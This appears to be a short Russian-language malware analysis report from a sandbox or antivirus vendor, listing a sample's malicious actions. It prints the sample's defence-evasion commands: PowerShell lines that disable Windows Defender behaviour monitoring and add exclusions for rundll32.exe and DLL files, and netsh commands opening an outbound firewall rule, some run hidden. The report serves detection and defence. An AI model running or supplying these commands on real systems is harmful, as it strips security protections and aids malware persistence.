Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true ; Set-MpPreference -MAPSReporting 0 ; Set-MpPreference -ExclusionProcess rundll32.exe ; Set-MpPreference -ExclusionExtension dll
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Rundll32" dir=out action=allow protocol=any program="<SYSTEM32>\rundll32.exe"
Другое
Перезапускает анализируемый образец
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Rundll32" dir=out action=allow protocol=any program="<SYSTEM32>\rundll32.exe" (со скрытым окном)
- '<Полный путь к файлу>' etoolpladvfirewall firewall add rule name="Rundll32" dir=out action=allow protocol=any program="<SYSTEM32>\rundll32.exe" (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true ; Set-MpPreference -MAPSReporting 0 ; Set-MpPreference -ExclusionProcess rundll32.exe ; Set-MpPreference -ExclusionExtension dll (со скрытым окном)
